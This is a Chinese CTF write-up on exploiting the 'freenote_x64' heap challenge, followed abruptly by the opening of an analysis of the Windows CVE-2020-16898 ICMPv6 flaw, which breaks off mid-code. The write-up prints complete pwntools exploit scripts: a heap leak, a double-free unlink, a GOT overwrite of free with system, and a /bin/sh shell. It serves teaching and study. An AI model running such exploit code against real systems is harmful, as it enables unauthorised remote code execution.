这就好像高中不可以自己配钥匙的时候，宿管大爷的钥匙板上无论是否挂了钥匙，对应位置都会贴一个房间号标签，即使不挂钥匙也有，只不过没挂钥匙说明有人取走了，说明这个寝室里有人，对应过来就是，没挂钥匙相当于第一个结构体成员值为1，对应的记录堆块已经存在！
但是也有一点不同，大家不要过度将两个例子对号入座，钥匙房间一一对应，钥匙还回（free）的时候从哪来放哪去，下次拿还是从同一个地方，但是假如开始有记录1234，你把2删了，下次新建的时候，根据代码逻辑可以知道是把索引表中原来索引项2的位置拿来放新的，因此这个索引表是允许碎片化的。
## 三、漏洞挖掘
这样一来，结合各函数功能和索引表机制的原理，程序的数据处理思路也就清晰了，下面我们来找程序的漏洞：
### 0x01、即便堆漏洞接触不多，可能也很容易发现第一处漏洞
漏洞出现在新建记录的那个函数里面，上图：
这个就是新建记录函数中实现读入记录内容的子函数，a2是用户输入的记录的长度，通过循环read读进a2个字符
注意，读进a2个字符！！不是长度为a2的字符串！！！
正常情况下长度为n的字符串，是有包含’x00’结束符在内的n+1个ascii，但是这里并没有把结束符读进来，少了结束符，在打印记录时就不会正确的停下来，也就可以实现内存泄露！
内存泄露用于结合偏移计算heap_base以及system地址。
### 0x02、本程序的核心漏洞，double free漏洞：
漏洞出现在记录删除函数中，我们仔细分析一下这个函数的逻辑实现就可以发现一个惊人的事实：在你输入一个标号后，程序并没有检查索引表中标号位置的索引项的第一个成员变量是否已经为0、也没有检查对应索引项的堆指针成员变量指向的堆内存是否已经被free，也就是说，即使这个索引项已经删过记录了，你还可以再删它一次，再像没事儿人一样对ptr_heap再进行一次free，而在程序代码中，free之后并没有将对应堆指针置空（点名批评！），这就对同一堆块free了两次，造成了double
free漏洞！
（我知道你们不感兴趣但是还是要吐槽一下修补措施：哪怕你做到随手置空、检查标志位、检查ptr、或删除时清除索引项的ptr中的任何一点也不至于出现这个漏洞。。。）
### 0x03、巧夺天工unlink——“块内切割”大法：
这个方法也有人叫“堆块重构”技术
反正就是一通骚操作，违章改造房屋结构，是要犯法的。。。（画风秒变皮）
好了，我们正经来讲一下：（在继续学习之前，希望各位已经确保透彻掌握了上一篇文章中所讲的unlink漏洞原理）
我们先把四个堆块都free掉，然后malloc两个大堆块，想必参透上一篇文章的读者已经猜到我们这是要做什么了——建立引线堆块和p堆块
而这两个大chunk显然是涵盖了之前全部四个小chunk的区域的，也就是说，如果假想之前的四个小chunk是还是存在的，那么它们之间有些堆块从块首到块身的每一个字节都在大chunk用户区的涵盖之下，我们想写进什么就写进什么，也就是说这些堆块从块首到块身我们想怎么构造就怎么构造。
为什么要作这种假想呢？
因为0x02中的double
free漏洞决定了，在分配两个大chunk之后，索引表中之前的某些索引项所索引的chunk是处在两个大chunk的用户区内的，其整个块首块身都是在我们控制范围之内的，我们可以对其整个chunk进行伪造，而伪造的的这个之前的小chunk正是我们的引线堆块！而由于double
free的存在，我们可以通过“记录删除”功能函数来对这个小chunk进行二次free，触发上一篇文章中所说的unlink。
可是要free引线堆块触发unlink，还必须有一个p堆块与引线堆块相连，引发合并操作才行。那么这个倒霉的p堆块自然就是两个大chunk中靠前的那一个啦~
和p堆块相关的伪造事宜在前一篇文章中已经讲过了。
这样一来，当引线堆块free后，引发合并触发unlink，最终效果就是使靠前的那个大chunk的用户区指针（p_user）指向了&p_user-3*unit的位置！
### 0x04、偷梁换柱——篡改GOT表：
现在我们已经成功将p_user劫持到了它自己的存储位置往低地址3个单位的地方，而且这个p_user还是一个大chunk的用户区指针，是我们可以访问的，而且通过edit函数还是可以写的。
那么就不绕弯子了，直接调用edit功能，编辑标号为0的记录（其实就是第一个、靠前的那个大chunk，后面详见exp），先把自身的值改成free_got地址，这样p_user就指向了free_got，然后再edit一次，就可以把free_got篡改成system函数地址了~狸喵换太子~
### 0x05、free！劫持！
我们现在只需要调用一次free就行了，这个简单，直接做个删除操作就ok，重点是参数。
我们用到的方法很巧妙，控制某条记录的输入内容开头为”/bin/sh”，然后delet这条记录。
这样一来，执行的操作就是free(p);，p和”/bin/sh”相等（字符串本质当作指针处理），而free函数此时实际上已经是system函数了，因此：
free(p)就等于system(“/bin/sh”)，我们实际上是劫持执行了system(“/bin/sh”)！
get shell！！！
## 四、漏洞具体利用和exploit编写
我们先贴exp，再结合exp分析利用过程：
from pwn import *
p = remote('pwn2.jarvisoj.com', 9886)
elf = ELF("./freenote_x64")
libc = ELF("./libc-2.19.so")
def list():
p.recvuntil("Your choice: ")
p.sendline("1")
def new(length, note):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("new note: ")
p.sendline(str(length))
p.recvuntil("note: ")
p.send(note)
def edit(index, length, note):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Note number: ")
p.sendline(str(index))
p.recvuntil("Length of note: ")
p.sendline(str(length))
p.recvuntil("Enter your note: ")
p.send(note)
def delete(index):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Note number: ")
p.sendline(str(index))
def exit():
p.recvuntil("Your choice: ")
p.sendline("5")
#leak address
new(1, 'a')
new(1, 'a')
new(1, 'a')
new(1, 'a')
delete(0)
delete(2)
new(8, '12345678')
new(8, '12345678')
list()
p.recvuntil("0. 12345678")
heap = u64(p.recvline().strip("x0a").ljust(8, "x00")) - 0x1940
p.recvuntil("2. 12345678")
libcbase = u64(p.recvline().strip("x0a").ljust(8, "x00")) - 88 - 0x3be760
delete(3)
delete(2)
delete(1)
delete(0)
#double link
payload01 = p64(0) + p64(0x21) + p64(heap + 0x30 - 0x18) + p64(heap + 0x30 - 0x10)
new(len(payload01), payload01)
payload02 = "/bin/shx00" + "A"*(0x80 - len("/bin/shx00")) + p64(0x110) + p64(0x90) + "A"*0x80
payload02 += p64(0) + p64(0x91) + "A"*0x80
new(len(payload02), payload02)
delete(2)
#change
free_got = elf.got['free']
system = libcbase + libc.symbols['system']
payload03 = p64(8) + p64(0x1) + p64(0x8) + p64(free_got)
payload04 = p64(system)
edit(0, 0x20, payload03)
edit(0, 0x8, payload04)
#fire
delete(1)
p.interactive()
开头定义的五个函数不多说，自己去看。
接下来是泄露地址：libc_base和heap_base，这个地方涉及了比较复杂深入的linux堆内存相关机制，我们下面重点来讲解这部分知识：
前面我们说到，我们进行内存泄露是利用了0x01中的漏洞；如果说我们新建一个记录堆块然后free掉，它的fd和bk就会被赋相应值，然后再分配到这个堆块时写8字节数据，读它，由于没有结束符，它之前的bk就会被泄露出来。
那这个bk为什么能通过加减偏移运算得到libc_base和heap_base呢？这需要我们了解linux的堆管理机制：
Linux中，程序的每个线程都会有一个自己的thread_arena，用来管理自己的堆表（比如main就有自己的main
arena），有关arena的知识请读者务必学习下面链接中的资料：
[linux堆内存管理深入分析（上）](https://www.cnblogs.com/alisecurity/p/5486458.html)
[linux堆内存管理深入分析（下）](https://www.cnblogs.com/alisecurity/p/5520847.html)
重点在于第二篇文章！请读者认真阅读第二篇文章中有关bin的介绍！
那么这些main arena和bin有什么关系呢？
Libc 中有一个叫做 main_arena 的数据结构。这个结构体中存储着 bin 列表的头和尾：
// fastbin列表
typedef struct malloc_chunk *mfastbinptr;
// Array of pointers to chunks
mfastbinptr fastbinsY[];
// unsorted/small/large bins列表：
typedef struct malloc_chunk* mchunkptr;
// Array of pointers to chunks
mchunkptr bins[];
上述结构在第二篇资料开头也有提到，可以对比着看：
struct malloc_state
{
……
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
……
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; // #define NBINS 128
……
};
这里的NFASTBINS=10（fastbins有十个，资料中讲过了），NBINS=128；
了解清楚这个结构以后，我们就可以结合IDA具体来看一下它在内存中到底长什么样子：
用IDA打开libc文件，直接看malloc函数：
>
在0x826EE处有一条lea rcx, dword_3BE760指令，这里的3BE760就是 main arena 的地址！
跟到3BE760那儿：
大概就是这样，3BE768开始就是fastbin[10]的快表，一共长10*8bytes
3BE768往后走80字节，就到了快表后面的unsortedbin了：
0x3BE768 + 80 = 0x3BE7B8，在上图中可以看到。
bin分为fastbin和bins(unsorted/small/large bin)，从这里往后就是bins了，一共有NBINS * 2 –
2个，长度是(128 * 2 – 2) * 8个字节=2032 bytes=7F0 bytes
3BE7B8 + 7F0 = 3BEFA8，我们来看一下3BEFA8：
我们可以看到，从3BEFA8往后就是其他内存区域了，上面的数据区就是bins的部分，两张图衔接起来，中间就是整块的未初始化数据（处在.data段）。
我们看下面两张图片：
第一个就是main_arena 的起始位置，main_arena 的fastbin和bins到第二个之前结束。
fastbin的起始在main_arena + 8处，至于main_arena
的前8个字节是什么东西，笔者也没弄明白（以后尽量填坑），好像记得不少博客都说动态调的时候值是0
最后我们需要了解一下unsorted bin的大体功能：当一个堆块free了以后，为了提高再分配速度，并不会把它马上放到small或large
bin，而是先直接放到unsorted bin，下次再分配的时候就可以更快的取到它，有的文章把它描述成一块“缓冲地带”，有一定的道理。
关于arena和bin的知识就是这些，我们继续来结合exp看内存泄露过程：
* exp的38到43行：分配四个堆块，然后free掉两个，这两个堆块不能是连续的（否则会合并），它们会优先进入unsorted bin
* exp的44到45行：new到的堆块肯定是刚刚free的两个，从unsorted bin拆卸出来，写进的8字节数据会覆盖之前的fd，但是bk没有覆盖
* exp的46到50行：调用list读的时候，由于没有结束符，刚刚两个堆块的bk都会被泄露出来
chunk0之前先free进入unsorted bin，bk指向chunk2；
而chunk2后进unsorted bin，unsorted bin里只有这两个堆块，chunk2的bk指向unsorted bin。
显然，由chunk0的bk能够计算出heap_base的地址！
由chunk2的bk则能够计算出main_arena的地址进而得到libc的基地址！
>
> malloc是在libc中声明、定义的，main_arena也是由malloc函数来读写、管理的（刚刚的汇编可以看到），因此main_arena是处在libc的地址空间里的，因此其相对于libc_base的偏移当然也是固定的；不同版本的libc中main_arena的偏移是不同的，读者测试的时候如果发现exp无效，请检查libc版本与文章提供的libc是否一致，有的ctf平台在复现题目是更换了不同版本的libc.
chunk2_bk – 88 = main_arena ，chunk2_bk – 88 – main_arena= libc_base
，其中main_arena = 0x3be760 .
那么 chunk0_bk 减的 0x1940
是怎么得到的呢？heap_base应该是main函数执行后程序分配到的第一个堆的基地址，而程序分配的第一个堆是索引表，IDA结合f5可以看到索引表堆块用户区大小是0x1810，索引表堆块的head占0x10，因此索引表堆块whole_size=0x1820；chunk0_bk指向的是chunk2，索引表堆块和chunk2之间隔了一个chunk0加一个chunk1，因此这块间隔的大小就是(0x10+0x80)*2=0x120;因此chunk0_bk所指向的位置到heap_base的总偏移量就等于0x1820+0x120=0x1940.
这样一来，知道了libc_base我们可以得知system地址，知道了heap_base我们也就知道了索引表的地址，也就知道了后面要劫持的p_user的地址（它在索引表里）.
接下来我们继续根据exp来看unlink过程：
* payload01: 0，pre堆块就当没有了，填0就行；0x21，多出来这个0x01使得标志位为1表示前一个堆块不空闲；heap是索引表堆块基地址，加0x30正好到存放chunk0的p_user那里，减的0x18和0x10分别是3个单位和2个单位，这个伪造在上一篇已经讲的很明白了不再多说。
* payload02：getshell命令字符串写进去先，然后填充A一起凑够0x80个字节，以填满原来的chunk1的部分；往后是填”chunk2″(为什么打引号自行理解)的部分，0x110是fake的pre_chunk大小，代表的是”chunk2″的pre_chunk的size，也就是size_chunk1 + fake_size_chunk0 = size_chunk1 + size_chunk0_user = 0x90 + 0x80 = 0x110，然后0x90使得”chunk2″的pre_inuse标志位为0代表前一个堆块空闲以致合并，然后填充上A。
* 再往后看payload02还填充了一下”chunk3″，这个我也不知道为什么非要填，但是不填exp就跑不对直接崩在后面了，可能是后续还会检查能否向前合并，然后导致内存错误了，然后加上0和0x71以后应该就是假装往前没有空闲块了防止了合并吧，具体原因我暂时还是没有搞清楚，但是直觉看应该是挺关键的一个点，这个坑以后肯定会填上。
之后的exp就很简单了，请大家自己去看。
此外说一下有关payload有x00的问题，由于缓冲区是直接从网络层的数据包中拷过去的，不会导致中断问题，机制和键盘输入不一样，是跨过客户端的输入界面的，直接打包。
最后总结一下：
核心难点主要有两个
1、double free和unlink的利用
2、为泄露两个地址和进行堆块重构，进行精确的内存布局分析
话说留了个不小的坑是真的难受 ┭┮﹏┭┮
我来填坑啦！
本部分主要针对上次的exp中的一些疑惑，此外，笔者又用另外一种思路写了另一个exp，调试时遇到的问题也很值得探讨，因此特意写了这篇blog，填上次坑的同时讲一下新的exp。
我们先贴一下上次的exp方便参照：
1 from pwn import *
2 p = remote('pwn2.jarvisoj.com', 9886)
3 elf = ELF("./freenote_x64")
4 libc = ELF("./libc-2.19.so")
5 def list():
6 p.recvuntil("Your choice: ")
7 p.sendline("1")
8
9 def new(length, note):
10 p.recvuntil("Your choice: ")
11 p.sendline("2")
12 p.recvuntil("new note: ")
13 p.sendline(str(length))
14 p.recvuntil("note: ")
15 p.send(note)
16
17 def edit(index, length, note):
18 p.recvuntil("Your choice: ")
19 p.sendline("3")
20 p.recvuntil("Note number: ")
21 p.sendline(str(index))
22 p.recvuntil("Length of note: ")
23 p.sendline(str(length))
24 p.recvuntil("Enter your note: ")
25 p.send(note)
26
27 def delete(index):
28 p.recvuntil("Your choice: ")
29 p.sendline("4")
30 p.recvuntil("Note number: ")
31 p.sendline(str(index))
32
33 def exit():
34 p.recvuntil("Your choice: ")
35 p.sendline("5")
36
37 #leak address
38 new(1, 'a')
39 new(1, 'a')
40 new(1, 'a')
41 new(1, 'a')
42 delete(0)
43 delete(2)
44 new(8, '12345678')
45 new(8, '12345678')
46 list()
47 p.recvuntil("0. 12345678")
48 heap = u64(p.recvline().strip("x0a").ljust(8, "x00")) - 0x1940
49 p.recvuntil("2. 12345678")
50 libcbase = u64(p.recvline().strip("x0a").ljust(8, "x00")) - 88 - 0x3be760
51 delete(3)
52 delete(2)
53 delete(1)
54 delete(0)
55
56 #double link
57 payload01 = p64(0) + p64(0x21) + p64(heap + 0x30 - 0x18) + p64(heap + 0x30 - 0x10)
58 new(len(payload01), payload01)
59 payload02 = "/bin/shx00" + "A"*(0x80 - len("/bin/shx00")) + p64(0x110) + p64(0x90) + "A"*0x80
60 payload02 += p64(0) + p64(0x91) + "A"*0x80
61 new(len(payload02), payload02)
62 delete(2)
63
64 #change
65 free_got = elf.got['free']
66 system = libcbase + libc.symbols['system']
67 payload03 = p64(8) + p64(0x1) + p64(0x8) + p64(free_got)
68 payload04 = p64(system)
69 edit(0, 0x20, payload03)
70 edit(0, 0x8, payload04)
71
72 #fire
73 delete(1)
74
75 p.interactive()
上回说到，payload02（第60行）的最后填了一个chunk3，之前我们的猜测是和向前合并有关，后来笔者阅读了相关文档后明白这个填充是为了防止向top
chunk合并。
下面我们给出有关top chunk的知识：
> top chunk：堆顶
>
> top
> chunk处在arena堆空间的最高地址处，就是处在最高地址处的剩余的未分配堆空间，它整个作为一个很大的空闲chunk，作用就是：当bins和fastbins中都已经没有堆块来提供给新的分配时，系统就会从top
> chunk中切下一块来分配给用户使用（因此top chunk有堆区应急部之称）；那么当top
> chunk也无能为力不够用的时候，就出现堆块枯竭了，此时系统将调用brk或mmap扩展堆。
>
> 而在一个chunk被free时，如果它与top chunk相连，就会直接被回收并入top chunk！
这样一来，之前的疑惑就解决了：垫一个chunk3，就是为了防止chunk2和top chunk连在一起，如果不这样的话，free
chunk2的时候chunk2就会直接被并入top chunk，而不会成功的向后合并引发chunk0的unlink.
我们上次的猜测是和向前合并有关，至于这个会不会有影响暂时还无从考证，以后再研究，在此推荐一篇讲向前/后合并的文章的链接（有源码哦）：
<http://www.cnblogs.com/alisecurity/p/5563819.html>
下面开始我们今天的特殊环节：挑战两堆块unlink！
挑战：限制一下要求，unlink只允许new一个堆块，实现漏洞利用！
详细解释一下就是，原来的exp的56行之前的部分都保持不变，从56行往后的部分进行修改，要求是到exp结束的整个过程中只允许new一个堆块！
啰嗦的东西就不讲了，继承上一篇文章的思路，大家稍经分析就可以想到堆块重构思路：
* new一个chunk0，大小要覆盖原chunk0和chunk1外加一个chunk2，并将chunk0的fake头和fd、bk部署好（和之前的exp一样），属于old_chunk1的部分把pre_size覆盖成chunk0的用户区大小、size字段的pre_inuse标志位置0；填chunk2就是今天讲的防止并入堆顶。
* delete掉chunk1，由此引发合并触发chunk0的unlink.
* 之后篡改got表，等等
我们按照上述思路给出修改的从56行往后的exp:
#double link
payload01 = p64(0) + p64(0x21) + p64(heap + 0x30 - 0x18) + p64(heap + 0x30 - 0x10) + 'A'*0x60
payload01 += p64(0x80) + p64(0x90) + 'A'*0x80
payload01 += p64(0) + p64(0x91) + 'A'*0x80
new(len(payload01), payload01)
delete(1)
#change
free_got = elf.got['free']
system = libcbase + libc.symbols['system']
payload02 = p64(8) + p64(0x1) + p64(0x8) + p64(free_got) + p64(1) + len("/bin/shx00")
payload03 = p64(system)
edit(0, 0x30, payload02)
edit(0, 0x8, payload03)
#fire
edit(1,len("/bin/shx00"),"/bin/shx00")
delete(1)
p.interactive()
如上，就是按照思路改写的exp，#change那块的第三行最后加了 p64(1) +
len(“/bin/shx00”)，是将索引表中的old_chunk1那项篡改伪造为“正在使用”状态，这样#fire中的edit才能成功执行。
反复欣赏这段近乎完美的exp，似乎一切都是那么完美与合乎情理，之后笔者带着雀跃的心情把payload打了过去，结果得到的却是沉痛的打击：
我嘞个艹！exp竟然不好使！！仔细看报错信息，可以知道是exp执行 edit(0,0×30,payload02)
的时候崩了，而且具体错误位置是recv字符串”Enter your note: “接收超时。
也就是说，进入edit以后，就一直执行不到这条语句，也就是说程序在这条打印语句之前发生了崩溃，
而且可以确定在源码中肯定是正确执行了的（否则肯定轮不到下面的printf，直接在那儿就断了），
这样就可以确定崩溃位置处于这两个printf之间了！
我们到IDA里看看这段对应的代码：
可以看到，在两个打印语句之间，先是判断v2（用户输入长度）合法性的代码，v2的值并没有问题，所以不会崩在这儿，那么肯定就是崩在下面的realloc处了，程序一定是进了if分支，然后在执行realloc时导致了内存错误引发崩溃的。
果然，回头检查exp发现：payload02的长度是0x30，而打payload02的edit所写的堆块是chunk0，而chunk0在之前unlink的时候已经在其对应索引表项的长度字段写入了一个长度，这个长度为payload01的长度，而我们
edit(0,0×30,payload02)
中的长度0x30与索引表项中的长度值并不相等，因此打过去的payload02根据IDA中的代码逻辑确实会导致程序执行这个if进行realloc，而恶心的地方就在于我们可怜的p_user已经不是一个正常的堆指针了，它指向的是自身存储位置往低地址三个单位的神奇的位置，realloc这么一个主儿，不出错误才怪！
当然，秉着打破砂锅问到底的精神，我们决定给出realloc的源码，我们来具体分析一下到底是怎么崩溃的：
1 void *realloc(void *ptr, size_t size)
2 {
3 memblock_t *m;
4 void *new = NULL;
5 if (ptr){
6 if(!(m = memblock_get(ptr))) {
7 printk(KERN_ERR "bug: realloc non-exist memoryn");
8 return NULL;
9 }
10 if (size == m->size)
11 return ptr;
12 if (size != 0) {
13 if (!(new = kmalloc(size, GFP_KERNEL)))
14 return NULL;
15 memmove(new, ptr, m->size);//数据拷贝
16 if (memblock_add(new, size)) {
17 kfree(new);
18 return NULL;
19 }
20 }
21 memblock_del(m);
22 kfree(ptr);//造成风险
23 }
24 else{
25 if (size != 0) {
26 if (!(new = kmalloc(size, GFP_KERNEL)))
27 return NULL;
28 if (memblock_add(new, size)) {
29 kfree(new);
30 return NULL;
31 }
32 }
33 }
34 return new;
35 }
代码逻辑不难，可以看到，p_user进去以后，执行到第22行会被free，然而p_user指向哪？指向&p_user –
3*unit！这是个什么乌七八糟的地方😂😂😂
要是把这儿当成chunk用户区起始位置，可以想象到被当成head的区域的两个字段是什么不正经的值了，你一free，直接就飞了！这就是这个内存错误导致程序崩溃的根源！
所以说，回到exp，防止程序崩掉的措施就是正确的设置payload02的大小与之前的payload01大小一样，这样就不会触发realloc导致内存错误；同理，payload02的第三个p64为什么是8也是出于同样的考虑。
在上一篇的blog中原来的exp没有出现这个问题的原因是，payload01和payload03的长度正好是相等的，于是就没有出现错误…写得好不如写得巧(ˉ▽ˉ；)…
知道了解决措施，那我们就直接给出相应的正确的exp了：
1 from pwn import *
2 p = remote('pwn2.jarvisoj.com', 9886)
3 elf = ELF("./freenote_x64")
4 libc = ELF("./libc-2.19.so")
5 def list():
6 p.recvuntil("Your choice: ")
7 p.sendline("1")
8
9 def new(length, note):
10 p.recvuntil("Your choice: ")
11 p.sendline("2")
12 p.recvuntil("new note: ")
13 p.sendline(str(length))
14 p.recvuntil("note: ")
15 p.send(note)
16
17 def edit(index, length, note):
18 p.recvuntil("Your choice: ")
19 p.sendline("3")
20 p.recvuntil("Note number: ")
21 p.sendline(str(index))
22 p.recvuntil("Length of note: ")
23 p.sendline(str(length))
24 p.recvuntil("Enter your note: ")
25 p.send(note)
26
27 def delete(index):
28 p.recvuntil("Your choice: ")
29 p.sendline("4")
30 p.recvuntil("Note number: ")
31 p.sendline(str(index))
32
33 def exit():
34 p.recvuntil("Your choice: ")
35 p.sendline("5")
36
37 #leak address
38 new(1, 'a')
39 new(1, 'a')
40 new(1, 'a')
41 new(1, 'a')
42 delete(0)
43 delete(2)
44 new(8, '12345678')
45 new(8, '12345678')
46 list()
47 p.recvuntil("0. 12345678")
48 heap = u64(p.recvline().strip("x0a").ljust(8, "x00")) - 0x1940
49 p.recvuntil("2. 12345678")
50 libcbase = u64(p.recvline().strip("x0a").ljust(8, "x00")) - 88 - 0x3be760
51 delete(3)
52 delete(2)
53 delete(1)
54 delete(0)
55
56 #double link
57 payload01 = p64(0) + p64(0x21) + p64(heap + 0x30 - 0x18) + p64(heap + 0x30 - 0x10) + 'A'*0x60
58 payload01 += p64(0x80) + p64(0x90) + 'A'*0x80
59 payload01 += p64(0) + p64(0x91) + 'A'*0x80
60 new(len(payload01), payload01)
61 delete(1)
62
63 #change
64 free_got = elf.got['free']
65 system = libcbase + libc.symbols['system']
66 payload02 = p64(8) + p64(0x1) + p64(0x8) + p64(free_got) + p64(1) + p64(len("/bin/shx00"))
67 payload02 += p64(heap + 0x1940 - 0x80) + 'A'*(len(payload01) - 0x38)
68 payload03 = p64(system)
69 edit(0, len(payload01), payload02)
70 edit(0, 0x8, payload03)
71
72 #fire
73 edit(1,len("/bin/shx00"),"/bin/shx00")
74 delete(1)
75
76 p.interactive()
payload02第一个p64(8)是exist_number字段，别超别少就行，没什么特殊要求。
大家对照exp再加深一下理解就好~
=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====|*|=====
还没完，还有一个大坑呢，超大超大的坑，大的离谱：
之前提到了main arena的起始8个字节，笔者后来找到了更详细的malloc_state结构体源码如下：
1 struct malloc_state
2 {
3 /* Serialize access. */
4 mutex_t mutex;
5
6 /* Flags (formerly in max_fast). */
7 int flags;
8
9 /* Fastbins */
10 mfastbinptr fastbinsY[NFASTBINS];
11
12 /* Base of the topmost chunk -- not otherwise kept in a bin */
13 mchunkptr top;
14
15 /* The remainder from the most recent split of a small request */
16 mchunkptr last_remainder;
17
18 /* Normal bins packed as described above */
19 mchunkptr bins[NBINS * 2 - 2];
20
21 /* Bitmap of bins */
22 unsigned int binmap[BINMAPSIZE];
23
24 /* Linked list */
25 struct malloc_state *next;
26
27 /* Linked list for free arenas. */
28 struct malloc_state *next_free;
29
30 /* Memory allocated from the system in this arena. */
31 INTERNAL_SIZE_T system_mem;
32 INTERNAL_SIZE_T max_system_mem;
33 };
可以看到，那8个字节其实就是mutex_t mutex 和 int flags，各占4个，IDA中可以看到：
但是随后就发现了一个大问题，我们先看之前文章中所说的unsorted bin在IDA中的位置：
然后结合刚刚给出的malloc_state结构体源码，我们惊讶的发现：main arena偏移88字节处是top指针！不是unsorted bin！
这与之前的exp彻彻底底的矛盾了：泄露的bk应该是指向unsorted
bin的，结果有了malloc_state结构体源码一看究竟，才发现exp中泄露的bk对应的偏移地址处竟然是top指针，但是显然泄露的bk指向的就应该是unsorted
bin啊！但是exp中的偏移是正确的啊，不然payload也不可能起效啊！
那么究竟为什么泄露的bk所属堆块确实是在unsorted bin中，而泄露的bk却会指向top指针(指向top chunk)的位置呢？答案下面揭晓：
>
> 在线程的arena中，所有的这些bin，对于其对应链表中的chunk而言，都会被抽象成一个chunk，这样做的目的是使链表中的chunk在进行free或unlink操作时(如果是第一个或最后一个节点)，可以把它的bin无差别的看作一个chunk，这样就可以统一free和unlink操作的实现，从软件工程的角度看是一个比较不错的抽象思想。
然而实际上每个bin并不是真正是一个chunk，每个bin虽然也有fd和bk(如图)，但这只是用来构建双链表的，这些bin并没有chunk head结构。
由于free和unlink操作时堆块是把bin当作普通chunk来看的，因此我们泄露内存用的那个堆块在当初被free链入unsorted
bin链表时，bk就指向了unsorted bin这个“chunk”的“head”，如图：
从图中可以看出，unsorted bin这个“chunk”的“head”正是top指针的位置！因此泄露出的bk其实是top指针的地址，也就是main
arena + 88！
至此，填坑大吉！！！ | 社区文章 |
# CVE-2020-16898漏洞复现及分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：prowes5@360GearTeam
## 0x00 漏洞概述
2020年10月13日，微软发布了关于TCP/IP远程代码执行漏洞的通告。漏洞编号危CVE-2020-16898，漏洞等级：严重。漏洞评分：9.8（后更新为8.8）。
这个问题是由于Windows错误的处理了ICMPv6 Router Advertisement包，从而造成了堆栈溢出。攻击者可以构造特定的ICMPv6
Router Advertisement数据包，发送到远程主机，从而达到任意远程代码执行的效果。
## 0x01 漏洞影响版本
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for x64-based Systems
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
## 0x02漏洞复现验证
复现环境：
靶机：
Windows10 1909
攻击机：
系统：Ubuntu 18.04
组件版本：Python3.6.9，scapy2.4.4
网络：攻击机和靶机需在同一内网下且数据包可以到达。
验证结果：
## 0x03 漏洞分析
RDNSS中length字段是以组为单位显示的，默认情况下为奇数。当这个字段为偶数时，会导致tcpip.sys出现解析错误。
[rfc5006](https://tools.ietf.org/html/rfc5006)中定义了RDNSS包的各字段作用、大小和偏移。
0 1 2
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Length | Reserved |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Lifetime |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
: Addresses of IPv6 Recursive DNS Servers :
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type:
8-bit，RDNSS类型为25
length：
8-bit无符号整数。主要代表option的长度，一组代表8个字节。RDNSS数据包头部为八字节，而IPv6为16字节。即最小为24字节，8字节一组，Length最小为3。如果有多个IPv6地址，则每次Length加2。所以Length默认情况下是奇数。
Reserved:
16-bit，保留字段。
Lifetime:
32-bit无符号整数。RDNSS地址用于解析的最长时间。当为0xffffffff时，表示无穷大。
先看一下正常的数据包，可以看到相关的一些字段信息，且Length为奇数
之后看一下攻击的数据包，这里wireshark会根据Length的长度解析数据包，Length为4会认为第一个Option包为20byte，而IPv6地址为16字节，而\x01\x02\x03\x04\x05\x06\x07\x08只有八个字节，所以会把下一个Option的前八字节认为是IPv6地址的后八字节，也就是这里的102:304:506:708:1926:4242:4242:4242。而Option是根据Length解析的，是从\x19\x26这里开始，所以这里的数据就会被重复解析。
接下来详细分析下漏洞
漏洞点存在于tcpip!Ipv6pHandleRouterAdvertisement，直接在该函数中下断点。
while ( 1 )
{
v27 = *(v9 + 24);
v192 = 0;
if ( v27 < 2 )
break;
v28 = NdisGetDataBuffer(v9, 2i64, &v192, 1i64, 0);// 获取具体option字段内数据
v27 = *(v9 + 24);
length = 8 * v28[1];//实际长度，v28[1]为数据包中的length字段
if ( length && length <= v27 ) // length bytes<=0x150
{
v25 = *v28;
v30 = 1;
}
else
{
v30 = 0;
}
if ( !v30 )
break;
switch ( v25 ) // type
{
case 1u:
if ( (*(*(v11 + 40) + 36i64) & 0x210) == 16 )
{
if ( length != v177 + 2i64 )
{
*v7 = 21;
goto LABEL_276;
}
v32 = *(v9 + 16) + 2;
if ( v32 >= *(*(v9 + 8) + 40i64) )
{
NdisAdvanceNetBufferDataStart(v9, 2i64, 0i64, 0i64);
}
else
{
*(v9 + 40) += 2;
*(v9 + 24) = v27 - 2;
*(v9 + 16) = v32;
}
length -= 2;
v21 += 2;
v190 = NdisGetDataBuffer(v9, length, &v265, 1i64, 0);
}
break;
case 3u:
memset(&Dst, 0, 0x20ui64);
if ( length != 32 || *(NdisGetDataBuffer(v9, 32i64, &Dst, 1i64, 0) + 2) > 0x80u )
{
*v7 = 23;
goto LABEL_276;
}
break;
case 5u:
v206 = 0i64;
if ( length != 8 )
{
*v7 = 22;
goto LABEL_276;
}
